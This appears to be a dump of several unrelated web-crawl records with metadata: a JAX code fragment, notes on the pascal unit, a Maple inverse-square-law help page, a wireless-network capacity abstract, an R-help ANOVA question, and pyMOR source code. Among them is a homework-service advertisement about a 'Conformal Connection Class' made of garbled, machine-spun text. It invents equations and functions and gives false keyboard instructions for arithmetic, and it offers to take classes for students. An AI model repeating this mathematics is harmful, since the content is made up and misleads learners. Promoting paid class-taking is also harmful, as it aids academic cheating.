*init_vals,\ncond_nconsts=len(cond_consts),\ncond_jaxpr=cond_jaxpr,\nbody_nconsts=len(body_const_vals),\nbody_jaxpr=body_closed_jaxpr)\n```"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.637114,"math_prob":0.7750104,"size":21313,"snap":"2021-43-2021-49","text_gpt3_token_len":5294,"char_repetition_ratio":0.14388287,"word_repetition_ratio":0.045115586,"special_character_ratio":0.25280344,"punctuation_ratio":0.20843278,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9541905,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-12-06T08:39:15Z\",\"WARC-Record-ID\":\"<urn:uuid:3a035632-bb0c-4b50-8e4f-a6bb48f23749>\",\"Content-Length\":\"92399\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:cdfe5ff2-8d9c-4f18-83e5-2260e0a9c525>\",\"WARC-Concurrent-To\":\"<urn:uuid:efeca8d5-8d75-409d-8cc2-d0c6f64cbcd1>\",\"WARC-IP-Address\":\"104.17.32.82\",\"WARC-Target-URI\":\"https://jax.readthedocs.io/en/latest/_modules/jax/experimental/loops.html\",\"WARC-Payload-Digest\":\"sha1:FDJTP4KUTE7KASJ5Y3LXIIV3XFUD36E6\",\"WARC-Block-Digest\":\"sha1:QPXYVWJ3I7ST5HENPKYPVOGV4F3W5Z6B\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-49/CC-MAIN-2021-49_segments_1637964363290.59_warc_CC-MAIN-20211206072825-20211206102825-00498.warc.gz\"}"} |
https://mathexamination.com/class/conformal-connection.php | [
"## Do My Conformal Connection Class",
null,
"A \"Conformal Connection Class\" QE\" is a standard mathematical term for a generalized continuous expression which is utilized to solve differential equations and has solutions which are regular. In differential Class solving, a Conformal Connection function, or \"quad\" is used.\n\nThe Conformal Connection Class in Class kind can be expressed as: Q( x) = -kx2, where Q( x) are the Conformal Connection Class and it is a crucial term. The q part of the Class is the Conformal Connection constant, whereas the x part is the Conformal Connection function.\n\nThere are four Conformal Connection functions with proper solution: K4, K7, K3, and L4. We will now look at these Conformal Connection functions and how they are resolved.\n\nK4 - The K part of a Conformal Connection Class is the Conformal Connection function. This Conformal Connection function can also be written in partial portions such as: (x2 - y2)/( x+ y). To solve for K4 we increase it by the correct Conformal Connection function: k( x) = x2, y2, or x-y.\n\nK7 - The K7 Conformal Connection Class has an option of the type: x4y2 - y4x3 = 0. The Conformal Connection function is then multiplied by x to get: x2 + y2 = 0. We then need to increase the Conformal Connection function with k to get: k( x) = x2 and y2.\n\nK3 - The Conformal Connection function Class is K3 + K2 = 0. We then multiply by k for K3.\n\nK3( t) - The Conformal Connection function equationis K3( t) + K2( t). We multiply by k for K3( t). Now we multiply by the Conformal Connection function which provides: K2( t) = K( t) times k.\n\nThe Conformal Connection function is likewise called \"K4\" because of the initials of the letters K and 4. K indicates Conformal Connection, and the word \"quad\" is noticable as \"kah-rab\".\n\nThe Conformal Connection Class is among the primary techniques of fixing differential formulas. In the Conformal Connection function Class, the Conformal Connection function is first increased by the suitable Conformal Connection function, which will give the Conformal Connection function.\n\nThe Conformal Connection function is then divided by the Conformal Connection function which will divide the Conformal Connection function into a real part and an imaginary part. This offers the Conformal Connection term.\n\nFinally, the Conformal Connection term will be divided by the numerator and the denominator to get the ratio. We are entrusted the right-hand man side and the term \"q\".\n\nThe Conformal Connection Class is an essential idea to comprehend when fixing a differential Class. The Conformal Connection function is simply one technique to resolve a Conformal Connection Class. The approaches for resolving Conformal Connection equations consist of: particular value decomposition, factorization, optimum algorithm, numerical service or the Conformal Connection function approximation.\n\n## Hire Someone To Do Your Conformal Connection Class\n\nIf you want to end up being familiar with the Quartic Class, then you require to very first begin by browsing the online Quartic page. This page will show you how to utilize the Class by using your keyboard. The description will also reveal you how to produce your own algebra equations to help you study for your classes.\n\nBefore you can comprehend how to study for a Conformal Connection Class, you should first understand making use of your keyboard. You will find out how to click the function keys on your keyboard, along with how to type the letters. There are three rows of function keys on your keyboard. Each row has 4 functions: Alt, F1, F2, and F3.\n\nBy pushing Alt and F2, you can increase and divide the worth by another number, such as the number 6. By pushing Alt and F3, you can use the 3rd power.\n\nWhen you push Alt and F3, you will key in the number you are trying to increase and divide. To multiply a number by itself, you will push Alt and X, where X is the number you want to increase. When you press Alt and F3, you will type in the number you are trying to divide.\n\nThis works the very same with the number 6, except you will only type in the two digits that are 6 apart. Finally, when you push Alt and F3, you will utilize the fourth power. Nevertheless, when you push Alt and F4, you will use the real power that you have found to be the most suitable for your issue.\n\nBy utilizing the Alt and F function keys, you can increase, divide, and after that utilize the formula for the 3rd power. If you require to increase an odd variety of x's, then you will require to get in an even number.\n\nThis is not the case if you are attempting to do something complex, such as multiplying 2 even numbers. For instance, if you wish to increase an odd number of x's, then you will need to enter odd numbers. This is particularly true if you are attempting to figure out the answer of a Conformal Connection Class.\n\nIf you want to convert an odd number into an even number, then you will need to press Alt and F4. If you do not know how to increase by numbers by themselves, then you will need to utilize the letters x, a b, c, and d.\n\nWhile you can increase and divide by utilize of the numbers, they are much easier to use when you can look at the power tables for the numbers. You will have to do some research when you initially begin to use the numbers, but after a while, it will be second nature. After you have created your own algebra equations, you will be able to create your own multiplication tables.\n\nThe Conformal Connection Formula is not the only method to resolve Conformal Connection formulas. It is important to discover trigonometry, which utilizes the Pythagorean theorem, and then utilize Conformal Connection formulas to fix problems. With this method, you can know about angles and how to fix problems without needing to take another algebra class.\n\nIt is important to try and type as rapidly as possible, because typing will help you know about the speed you are typing. This will assist you write your responses quicker.\n\n## Hire Someone To Take My Conformal Connection Class",
null,
"A Conformal Connection Class is a generalization of a linear Class. For example, when you plug in x=a+b for a given Class, you acquire the value of x. When you plug in x=a for the Class y=c, you acquire the values of x and y, which give you an outcome of c. By using this fundamental idea to all the formulas that we have tried, we can now solve Conformal Connection equations for all the worths of x, and we can do it rapidly and efficiently.\n\nThere are many online resources available that provide totally free or affordable Conformal Connection equations to resolve for all the worths of x, including the expense of time for you to be able to benefit from their Conformal Connection Class assignment assistance service. These resources generally do not need a membership charge or any kind of investment.\n\nThe responses offered are the result of complex-variable Conformal Connection formulas that have been fixed. This is likewise the case when the variable utilized is an unidentified number.\n\nThe Conformal Connection Class is a term that is an extension of a linear Class. One advantage of using Conformal Connection equations is that they are more general than the linear equations. They are easier to fix for all the worths of x.\n\nWhen the variable utilized in the Conformal Connection Class is of the form x=a+b, it is simpler to fix the Conformal Connection Class since there are no unknowns. As a result, there are fewer points on the line defined by x and a constant variable.\n\nFor a right-angle triangle whose base points to the right and whose hypotenuse points to the left, the right-angle tangent and curve chart will form a Conformal Connection Class. This Class has one unknown that can be found with the Conformal Connection formula. For a Conformal Connection Class, the point on the line specified by the x variable and a constant term are called the axis.\n\nThe existence of such an axis is called the vertex. Because the axis, vertex, and tangent, in a Conformal Connection Class, are a given, we can find all the worths of x and they will sum to the provided worths. This is achieved when we use the Conformal Connection formula.\n\nThe element of being a constant factor is called the system of equations in Conformal Connection equations. This is in some cases called the main Class.\n\nConformal Connection formulas can be resolved for other worths of x. One way to solve Conformal Connection equations for other values of x is to divide the x variable into its element part.\n\nIf the variable is provided as a favorable number, it can be divided into its aspect parts to get the normal part of the variable. This variable has a magnitude that amounts to the part of the x variable that is a consistent. In such a case, the formula is a third-order Conformal Connection Class.\n\nIf the variable x is negative, it can be divided into the very same part of the x variable to get the part of the x variable that is multiplied by the denominator. In such a case, the formula is a second-order Conformal Connection Class.\n\nService aid service in solving Conformal Connection equations. When utilizing an online service for fixing Conformal Connection equations, the Class will be fixed instantly."
] | [
null,
"https://mathexamination.com/Do-My-Math-Class.webp",
null,
"https://mathexamination.com/Take-My-Math-Class.webp",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.91347104,"math_prob":0.9731736,"size":9391,"snap":"2021-04-2021-17","text_gpt3_token_len":2086,"char_repetition_ratio":0.25109193,"word_repetition_ratio":0.05497862,"special_character_ratio":0.20658077,"punctuation_ratio":0.09563295,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99200803,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-04-19T05:58:37Z\",\"WARC-Record-ID\":\"<urn:uuid:d4e278e5-4fc1-4558-b4e8-0f0db3921a7b>\",\"Content-Length\":\"20095\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:c136ed85-89a1-4bcd-ade9-fa93a2b438ba>\",\"WARC-Concurrent-To\":\"<urn:uuid:2cb4ee61-2e51-49a1-a560-8b7710ca8790>\",\"WARC-IP-Address\":\"172.67.178.201\",\"WARC-Target-URI\":\"https://mathexamination.com/class/conformal-connection.php\",\"WARC-Payload-Digest\":\"sha1:EYXP5O5ZPI36YFQTXUU2EUSPU5TDLKMI\",\"WARC-Block-Digest\":\"sha1:7QVYVIL3YZUQZEGRIKOHM2B3UD4AI65Z\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-17/CC-MAIN-2021-17_segments_1618038878326.67_warc_CC-MAIN-20210419045820-20210419075820-00190.warc.gz\"}"} |
https://de.zxc.wiki/wiki/Pascal_(Einheit) | [
"# Pascal (unit)\n\nPhysical unit\nUnit name Pascal\nUnit symbol ${\\ displaystyle \\ mathrm {Pa}}$",
null,
"Physical quantity (s) pressure\nFormula symbol ${\\ displaystyle p}$",
null,
"dimension ${\\ displaystyle {\\ mathsf {M \\; L ^ {- 1} \\; T ^ {- 2}}}}$",
null,
"system International system of units\nIn SI units ${\\ displaystyle \\ mathrm {1 \\, Pa = 1 \\, {\\ frac {N} {m ^ {2}}} = 1 \\; {\\ frac {kg} {m \\ cdot s ^ {2}}}} }$",
null,
"In CGS units ${\\ displaystyle \\ mathrm {1 \\, Pa = 10 \\; {\\ frac {g} {cm \\ cdot s ^ {2}}}}}$",
null,
"Named after Blaise Pascal\nDerived from Newtons , square meters\n\nThe pascal is a derived SI unit of pressure and mechanical stress . It is named after Blaise Pascal and is defined as follows:\n\n1 Pa = 1 kg · m -1 · s -2 = 1 N · m -2\n\nOne pascal is the pressure that a force of one newton exerts on an area of one square meter. Since this is a fairly small value, decimal multiples of the unit are often used, in addition to the hectopascal (1 hPa = 100 Pa) and the kilopascal (1 kPa = 1000 Pa) also the bar (1 bar = 10 5 Pa = 100 kPa) .\n\nThe mean air pressure of the atmosphere at sea level ( standard or norm pressure ) is\n\n1 atm = 101325 Pa = 1013.25 hPa = 101.325 kPa = 1.01325 bar = 1013.25 mbar.\n\n## history\n\nBlaise Pascal (1623–1662) was a French philosopher and scientist who, among other things, dealt with the behavior of fluids and developed fundamentals such as the concept of pressure and vacuum. At the 5th General Conference on Weights and Measures in 1913, the name “Pascal” was proposed for a unit of pressure that should have the value 10 N / cm 2 (that is the pressure that was later called 1 bar). However, no corresponding resolution was passed.\n\nEven when the SI system was introduced in 1960, there was still no separate name for the unit of pressure; \"Newtons per square meter\" were used. However, this long name turned out to be unwieldy, especially since 1 N / m 2 is a very small pressure. In European industry the unit bar (= 10 5 N / m 2 ) was increasingly used, which corresponds almost exactly to the pressure of one atmosphere , and in meteorology the unit millibar was common. In order to avoid decimal multiples such as 10 5 as conversion factors in the SI system, the derived unit N / m 2 was given the name Pascal at the 14th General Conference on Weights and Measures in October 1971 .\n\nThe unit was established as a legal unit in Germany as early as 1969 . Pascal was introduced to meteorology on January 1st, 1984.\n\n## Applications and typical sizes\n\nBelow are some size examples for different applications. SI prefixes are specified for the size range .\n\n### Micropascals\n\nThe reference value for the sound pressure level L p = 0 dB ( decibel ) is defined as 20 µPa sound pressure and is considered the hearing threshold. The loudness of 1 sone is defined at 1000 Hz sine tone and +40 dB, i.e. 2000 µPa. 1 Pa sound pressure corresponds to +94 dB and is therefore so loud that permanent exposure can damage hearing .\n\n### Decapascal\n\nThe unit decapascal (1 daPa = 10 Pa) is often used in ventilation technology, whereby one decapascal corresponds to 0.1 mbar.\n\n### Hectopascals\n\nIn meteorology , the air pressure of the atmosphere (at sea level on average 1013.25 hPa) is usually given in hectopascals (1 hPa = 100 Pa), because on the one hand the SI-compliant unit Pascal can be used and on the other hand you have a numerical value , which corresponds exactly to the millibars (mbar) used in the past .\n\nIn research, especially in vacuum technology , the millibar is often used as a unit.\n\n### Kilopascals\n\nThe unit kilopascal (1 kPa = 1000 Pa = 0.1 N / cm 2 ) is used in automotive engineering, for example, for the SI-compliant specification of the tire inflation pressure. A pressure of 100 kPa corresponds to 1 bar. The test pressure is also usually given in kilopascals for sewer pipes.\n\n### Megapascals\n\nThe unit megapascal (1 MPa = 1 million Pa = 1 N / mm 2 ) is used in technology e.g. B. used for the tensile strength of metals and in higher numbers also to describe explosions . The cold filling pressure of a halogen lamp with the noble gases neon and krypton at 22 ° C can e.g. B. 1.2 MPa (corresponds to 12 bar). A hydraulic line can be designed for an operating pressure of 400 bar = 40 MPa.\n\nMegapascals are also z. B. used to describe the critical point in thermodynamics .\n\nYield strength , yield strength and yield stress in mechanical engineering are also usually given in megapascals. In civil engineering, too, the strength of concrete is given in megapascals.\n\nThe specific energy of an explosive indicates the pressure in megapascals that a kilogram of this explosive would generate in a closed volume of one liter in the event of an explosion.\n\n### Gigapascals\n\nThe unit gigapascal (1 GPa = 1 billion Pa) describes the order of magnitude of pressures, e.g. B. Convert graphite into diamond : Graphite, pressed together in a hydraulic press at up to 6 GPa and temperatures above 1500 ° C, converts into diamond.\n\nIn the interior of the earth, the pressure at a depth of 410 km is 14 GPa (see 410 km discontinuity ). At temperatures of a few hundred degrees Celsius or at pressures of around 25 GPa, numerous rock-forming minerals are isochemically transformed into modifications that are more stable and crystallographically more densely packed under these conditions at a depth of around 700 km.\n\nModulus of elasticity and shear modulus , material constants that provide information about the linear elastic deformation of a component as a result of normal or shear force , are also given in gigapascals. Aluminum has z. B. a shear modulus of 25.5 GPa, steel of 79.3 GPa. The shear modulus of rocks is usually 30 GPa, see seismic moment .\n\n## Conversion of pressure units\n\nIn addition to the Pascal, there are other units for pressure. A table can be found in the article pressure .\n\n## Individual evidence\n\n1. Minutes of the 5th General Conference on Weights and Measures , 1913, p. 56, Presentation of a project by the French government to define the base and derived units, accessed on Nov. 10, 2019\n2. ^ A b Norman A. Anderson: Instrumentation for Process Measurement and Control . 3. Edition. CRC Press, 1997, ISBN 0-8493-9871-1 , pp. 37 ( limited preview in Google Book search).\n3. Minutes of the 14th General Conference on Weights and Measures , 1971, p. 78, accessed Nov. 11, 2019\n4. a b Pascal. (No longer available online.) In: Wetterlexikon. Die Welt, archived from the original on August 11, 2016 ; accessed on August 12, 2016 . Info: The archive link was inserted automatically and has not yet been checked. Please check the original and archive link according to the instructions and then remove this notice.\n5. Example of this patent specification : DE2006000223 INCANDESCENT HALOGEN LAMP. Retrieved June 20, 2012 .\n6. Jan Oliver Löfken: Almost as hard as diamond, but amorphous like glass. Wiley-VCH Verlag GmbH & Co. KGaA, October 26, 2011, accessed on June 20, 2012 ."
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https://jp.maplesoft.com/support/help/Maple/view.aspx?path=MathApps/InverseSquareLaw | [
"",
null,
"Inverse Square Law - Maple Help\n\nHome : Support : Online Help : Math Apps : Natural Sciences : Physics : Inverse Square Law\n\nInverse Square Law\n\n Main Concept An inverse square law is a law that states that the influence (such as sound) of a point source (such as radio) is inversely proportional to the square of the distance from the source of the particular quantity. In other words: $I\\propto \\frac{1}{{r}^{2}}$ where I is a physical quantity or intensity and r is an arbitrary distance. This law applies to several areas studied in mathematics and physics, such as gravity, electric field, light, sound, and radiation. The formulas of the aforementioned concepts that obey the inverse law are as follows: Gravity: ${F}_{g}=\\frac{{\\mathrm{Gm}}_{1}{m}_{2}}{{r}^{2}}$ Electric Field: $E=\\frac{Q}{4{\\mathrm{πϵ}}_{0}{r}^{2}}$ Light, Sound, and Radiation: This law generally applies when some form of conserved quantity (such as force and energy) is radiated outwardly and uniformly in 3-D space from a point source.",
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"Example\n\nIf the power of a point source is 10 W, what is the intensity of the radiation at 5 m?\n\nEnter 3 values at which point sources are radiating power between 0 and 100 W. Adjust the slider to change the radius at which you are measuring the intensity of the radiation. Click 'Draw!' to see the relationship between intensity and radius. Click the check box to see the intensity calculations for the three respective power values.",
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https://vivo.library.tamu.edu/vivo/display/n358063SE | [
"# A Network Information Theory for Wireless Communication: Scaling Laws and Optimal Operation Academic Article",
null,
"•\n• Overview\n•\n• Identity\n•\n•\n• View All\n•\n\n### abstract\n\n• How much information can be carried over a wireless network with a multiplicity of nodes, and how should the nodes cooperate to transfer information? To study these questions, we formulate a model of wireless networks that particularly takes into account the distances between nodes, and the resulting attenuation of radio signals, and study a performance measure that weights information by the distance over which it is transported. Consider a network with the following features. i) n nodes located on a plane, with minimum separation distance ρmin > 0. ii) A simplistic model of signal attenuation eγρ/ρδ over a distance ρ, where γ ≥ 0 is the absorption constant (usually positive, unless over a vacuum), and δ > 0 is the path loss exponent. iii) All receptions subject to additive Gaussian noise of variance σ2. The performance measure we mainly, but not exclusively, study is the transport capacity CT := sup Σℓ=1m Rℓ · ρℓ, where the supremum is taken over m, and vectors (R1, R2, ..., Rm) of feasible rates for m source-destination pairs, and ρℓ is the distance between the ℓth source and its destination. It is the supremum distance-weighted sum of rates that the wireless network can deliver. We show that there is a dichotomy between the cases of relatively high and relatively low attenuation. When γ > 0 or δ > 3, the relatively high attenuation case, the transport capacity is bounded by a constant multiple of the sum of the transmit powers of the nodes in the network. This shows that there is a positive lower bound on the energy price in joules per bit-meter of information transport. If the nodes are individually power limited, the transport capacity consequently scales as O(n). This order is, in fact, sharp, i.e., the transport capacity is Θ(n), for regular planar networks where the nodes are situated at integer lattice sites in a square. Consider now the \"multihop\" strategy where packets are routed over possibly multiple paths, and, along each path, packets are relayed from node to node with full decoding of each packet at each hop, treating all interference as noise, i.e., employing only point-to-point coding. This strategy is an order optimal strategy when the relaying burden can be balanced across the nodes, with no hop being too long. Or, in a randomly picked scenario, if nodes in a regular planar network randomly choose destination nodes, then the maximum common throughput that can be furnished to all nodes by multihop transport is nearly order optimal with respect to the transport capacity, differing only by a factor 1/√log n. Hence, up to order, there is no need for network coding or multiuser estimation. Thus, information theory can shed some light on what is an order-optimal architecture for wireless networks in situations where the load can be nearly balanced across nodes. In particular, the order optimality or near order optimality of multihop transport in such scenarios is of interest because much protocol development activity currently is actually aimed at realizing this strategy. However, when γ = 0 and δ < 2/3, the low-attenuation case, we show that there exist networks that can provide unbounded transport capacity for fixed total power, yielding zero energy priced communication. When nodes lie on a straight line and δ < 1 (a physical impossibility in the three-dimensional world, but perhaps the examples can be generalized to a plane with larger values of δ), there are networks which can even attain superlinear scaling Θ(nθ) for θ < 2. Both these results are achieved by a strategy of coherent multistage relaying with interference subtraction. These examples show that nodes can profitably cooperate over large distances using coherence and multiuser estimation when the attenuation is low. These results are established by developing a coding scheme and an achievable rate for Gaussian multiple-relay channels, a result that may be of interest in its own right.\n\n• 6\n\n### author list (cited authors)\n\n• Xie, L., & Kumar, P. R\n\n• 482\n\n### complete list of authors\n\n• Xie, L-L||Kumar, PR\n\n• May 2004"
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https://stat.ethz.ch/pipermail/r-help/2011-September/289654.html | [
"# [R] nested anova<-R chrashing\n\njoerg stephan stephanj at rhrk.uni-kl.de\nMon Sep 12 20:05:43 CEST 2011\n\n```Hi,\n\nI tried to do a nested Anova with the attached Data. My response\nvariable is \"survivors\" and I would like to know the effect of\n(insect-egg clutch) \"size\", \"position\" (of clutch on twig) and \"clone\"\n(/plant genotype) on the survival of eggs (due to predation). Each plant\nwas provided with three different sizes of clutches (45,15,5) and had\npseudo-replications of size 15 and 5 on it.\n\n_Question 1: right code for nested Anova_\n\nHere part of the code I used:\n\nclone1<-as.factor(ifelse(clone==\"Gudrun\",1,ifelse(clone==\"Loden\",2,ifelse(clone==\"021\",3,4))))\n\nplant1<-as.factor(ifelse(plant==1,1,ifelse(plant==2,2,ifelse(plant==3,3,ifelse(plant==4,4,ifelse(plant==5,5,ifelse(plant==6,6,\n\nifelse(plant==7,7,ifelse(plant==8,8,ifelse(plant==9,9,ifelse(plant==10,10,ifelse(plant==11,11,ifelse(plant==12,12,\n\nifelse(plant==13,13,ifelse(plant==14,14,ifelse(plant==15,15,ifelse(plant==16,16,ifelse(plant==17,17,ifelse(plant==18,18,\n\nifelse(plant==19,19,ifelse(plant==20,20,ifelse(plant==21,21,ifelse(plant==22,22,ifelse(plant==23,23,ifelse(plant==24,24,\n\nifelse(plant==25,25,ifelse(plant==26,26,ifelse(plant==27,27,ifelse(plant==28,28,ifelse(plant==29,29,ifelse(plant==30,30,\n\nifelse(plant==31,31,ifelse(plant==32,32,ifelse(plant==33,33,ifelse(plant==34,34,ifelse(plant==35,35,ifelse(plant==36,36,\n\nifelse(plant==37,37,ifelse(plant==38,38,ifelse(plant==39,39,ifelse(plant==40,40,ifelse(plant==41,41,ifelse(plant==42,42,43)))))))))))))))))))))))))))))))))))))))))))\n\nsize1<-as.factor(ifelse(size==5,1,ifelse(size==15,2,3)))\n\nposition1<-as.factor(ifelse(position==1,1,ifelse(position==2,2,ifelse(position==3,3,\n\nifelse(position==4,4,ifelse(position==5,5,ifelse(position==6,6,ifelse(position==7,7,\n\nifelse(position==8,8,ifelse(position==9,9,ifelse(position==10,10,ifelse(position==11,11,ifelse(position==12,12,13)))))))))))))\n\nANOVA<-aov(survivors~(clone1*size1*position1)+Error(plant1/(size1*position1)))\n\nAfter that command it says: \"Error() model is singular\". Even after\ngoogling (looks like many people had that problem) I am still uncertain\nhow to solve that, mainly because I am not sure if the used code for the\nAnova meets my set up requirements. If I am using\n\"ANOVA<-aov(survivors~clone1*plant1/(size1*position1)))\" R sometimes is\neven crashing down.\n\n_Question 2: normal distribution and homogeneity of variance_\n\nSo fare I tested \"normal\" Anovas by doing a linear model following\nplotting and KS-test and Bartlett-test including Q-Q-plot.\n\nfm<-lm(survivors~clone1*plant1*size1*position1)\n\nResiduen<-resid(fm) Here R is crashing again!!!\n\nks.test(Residuen,mean(Residuen),sd(Residuen))\n\nplot(density(Residuen))\n\nqqnorm(Residuen)\n\npar(mfrow=c(2,2))\n\nplot(fm)\n\nbartlett.test(survivors~clone1*plant1*position1*size1)\n\nIs that too much to compute for R? Is it OK to look for the\npreconditions for that nested Anova in that way, or do I have to use the\nsame code for the Bartlett also (or evaluate only by looking at the\nGraphs (Zuur et al. 2010))??????\n\nThank you very much in advance\n\nJörg\n\n-------------- next part --------------\nAn embedded and charset-unspecified text was scrubbed...\nName: survival.txt\nURL: <https://stat.ethz.ch/pipermail/r-help/attachments/20110912/2103af20/attachment.txt>\n```"
] | [
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https://docs.pymor.org/2020-2-2/_modules/pymor/vectorarrays/interface.html | [
"# Source code for pymor.vectorarrays.interface\n\n```# This file is part of the pyMOR project (http://www.pymor.org).\n\nfrom numbers import Number\n\nimport numpy as np\n\nfrom pymor.core.base import BasicObject, ImmutableObject, abstractmethod\nfrom pymor.core.defaults import defaults\nfrom pymor.tools.random import get_random_state\nfrom pymor.tools.deprecated import Deprecated\n\n[docs]class VectorArray(BasicObject):\n\"\"\"Interface for vector arrays.\n\nA vector array should be thought of as a list of (possibly high-dimensional) vectors.\nWhile the vectors themselves will be inaccessible in general (e.g. because they are\nmanaged by an external PDE solver code), operations on the vectors like addition can\nbe performed via this interface.\n\nIt is assumed that the number of vectors is small enough such that scalar data\nassociated to each vector can be handled on the Python side. As such, methods like\n:meth:`~VectorArray.norm` or :meth:`~VectorArray.gramian` will\nalways return |NumPy arrays|.\n\nAn implementation of the `VectorArray` via |NumPy arrays| is given by\n|NumpyVectorArray|. In general, it is the implementors decision how memory is\nallocated internally (e.g. continuous block of memory vs. list of pointers to the\nindividual vectors.) Thus, no general assumptions can be made on the costs of operations\nlike appending to or removing vectors from the array. As a hint for 'continuous block\nof memory' implementations, :meth:`~VectorSpace.zeros` provides a `reserve`\nkeyword argument which allows to specify to what size the array is assumed to grow.\n\nAs with |Numpy array|, |VectorArrays| can be indexed with numbers, slices and\nlists or one-dimensional |NumPy arrays|. Indexing will always return a new\n|VectorArray| which acts as a view into the original data. Thus, if the indexed\narray is modified via :meth:`~VectorArray.scal` or :meth:`~VectorArray.axpy`,\nthe vectors in the original array will be changed. Indices may be negative, in\nwhich case the vector is selected by counting from the end of the array. Moreover\nindices can be repeated, in which case the corresponding vector is selected several\ntimes. The resulting view will be immutable, however.\n\n.. note::\nIt is disallowed to append vectors to a |VectorArray| view or to remove\nvectors from it. Removing vectors from an array with existing views\nwill lead to undefined behavior of these views. As such, it is generally\nadvisable to make a :meth:`~VectorArray.copy` of a view for long\nterm storage. Since :meth:`~VectorArray.copy` has copy-on-write\nsemantics, this will usually cause little overhead.\n\nAttributes\n----------\ndim\nThe dimension of the vectors in the array.\nis_view\n`True` if the array is a view obtained by indexing another array.\nspace\nThe |VectorSpace| the array belongs to.\n\"\"\"\n\nis_view = False\n\n[docs] def zeros(self, count=1, reserve=0):\n\"\"\"Create a |VectorArray| of null vectors of the same |VectorSpace|.\n\nThis is a shorthand for `self.space.zeros(count, reserve)`.\n\nParameters\n----------\ncount\nThe number of vectors.\nreserve\nHint for the backend to which length the array will grow.\n\nReturns\n-------\nA |VectorArray| containing `count` vectors with each DOF set to zero.\n\"\"\"\nreturn self.space.zeros(count, reserve=reserve)\n\n[docs] def ones(self, count=1, reserve=0):\n\"\"\"Create a |VectorArray| of vectors of the same |VectorSpace| with all DOFs set to one.\n\nThis is a shorthand for `self.space.full(1., count, reserve)`.\n\nParameters\n----------\ncount\nThe number of vectors.\nreserve\nHint for the backend to which length the array will grow.\n\nReturns\n-------\nA |VectorArray| containing `count` vectors with each DOF set to one.\n\"\"\"\nreturn self.space.full(1., count, reserve)\n\n[docs] def full(self, value, count=1, reserve=0):\n\"\"\"Create a |VectorArray| of vectors with all DOFs set to the same value.\n\nThis is a shorthand for `self.space.full(value, count, reserve)`.\n\nParameters\n----------\nvalue\nThe value each DOF should be set to.\ncount\nThe number of vectors.\nreserve\nHint for the backend to which length the array will grow.\n\nReturns\n-------\nA |VectorArray| containing `count` vectors with each DOF set to `value`.\n\"\"\"\nreturn self.space.full(value, count, reserve=reserve)\n\n[docs] def random(self, count=1, distribution='uniform', random_state=None, seed=None, reserve=0, **kwargs):\n\"\"\"Create a |VectorArray| of vectors with random entries.\n\nThis is a shorthand for\n\nSupported random distributions::\n\n'uniform': Uniform distribution in half-open interval\n[`low`, `high`).\n'normal': Normal (Gaussian) distribution with mean\n`loc` and standard deviation `scale`.\n\nNote that not all random distributions are necessarily implemented\nby all |VectorSpace| implementations.\n\nParameters\n----------\ncount\nThe number of vectors.\ndistribution\nRandom distribution to use (`'uniform'`, `'normal'`).\nlow\nLower bound for `'uniform'` distribution (defaults to `0`).\nhigh\nUpper bound for `'uniform'` distribution (defaults to `1`).\nloc\nMean for `'normal'` distribution (defaults to `0`).\nscale\nStandard deviation for `'normal'` distribution (defaults to `1`).\nrandom_state\n:class:`~numpy.random.RandomState` to use for sampling.\nIf `None`, a new random state is generated using `seed`\nas random seed, or the :func:`default <pymor.tools.random.default_random_state>`\nrandom state is used.\nseed\nIf not `None`, a new radom state with this seed is used.\nreserve\nHint for the backend to which length the array will grow.\n\"\"\"\nreturn self.space.random(count, distribution, random_state, seed, **kwargs)\n\n[docs] def empty(self, reserve=0):\n\"\"\"Create an empty |VectorArray| of the same |VectorSpace|.\n\nThis is a shorthand for `self.space.zeros(0, reserve)`.\n\nParameters\n----------\nreserve\nHint for the backend to which length the array will grow.\n\nReturns\n-------\nAn empty |VectorArray|.\n\"\"\"\nreturn self.space.zeros(0, reserve=reserve)\n\n@property\ndef dim(self):\nreturn self.space.dim\n\n[docs] @abstractmethod\ndef __len__(self):\n\"\"\"The number of vectors in the array.\"\"\"\npass\n\n[docs] @abstractmethod\ndef __getitem__(self, ind):\n\"\"\"Return a |VectorArray| view onto a subset of the vectors in the array.\"\"\"\npass\n\n[docs] @abstractmethod\ndef __delitem__(self, ind):\n\"\"\"Remove vectors from the array.\"\"\"\npass\n\n[docs] def to_numpy(self, ensure_copy=False):\n\"\"\"Return (len(self), self.dim) NumPy Array with the data stored in the array.\n\nParameters\n----------\nensure_copy\nIf `False`, modifying the returned |NumPy array| might alter the original\n|VectorArray|. If `True` always a copy of the array data is made.\n\"\"\"\nraise NotImplementedError\n\n[docs] @abstractmethod\ndef append(self, other, remove_from_other=False):\n\"\"\"Append vectors to the array.\n\nParameters\n----------\nother\nA |VectorArray| containing the vectors to be appended.\nremove_from_other\nIf `True`, the appended vectors are removed from `other`.\nFor list-like implementations this can be used to prevent\nunnecessary copies of the involved vectors.\n\"\"\"\npass\n\n[docs] @abstractmethod\ndef copy(self, deep=False):\n\"\"\"Returns a copy of the array.\n\nAll |VectorArray| implementations in pyMOR have copy-on-write semantics:\nif not specified otherwise by setting `deep` to `True`, the returned\ncopy will hold a handle to the same array data as the original array,\nand a deep copy of the data will only be performed when one of the arrays\nis modified.\n\nNote that for |NumpyVectorArray|, a deep copy is always performed when only\nsome vectors in the array are copied.\n\nParameters\n----------\ndeep\nEnsure that an actual copy of the array data is made (see above).\n\nReturns\n-------\nA copy of the |VectorArray|.\n\"\"\"\npass\n\ndef __deepcopy__(self, memo):\nreturn self.copy(deep=True)\n\n[docs] @abstractmethod\ndef scal(self, alpha):\n\"\"\"BLAS SCAL operation (in-place scalar multiplication).\n\nThis method calculates ::\n\nself = alpha*self\n\nIf `alpha` is a scalar, each vector is multiplied by this scalar. Otherwise, 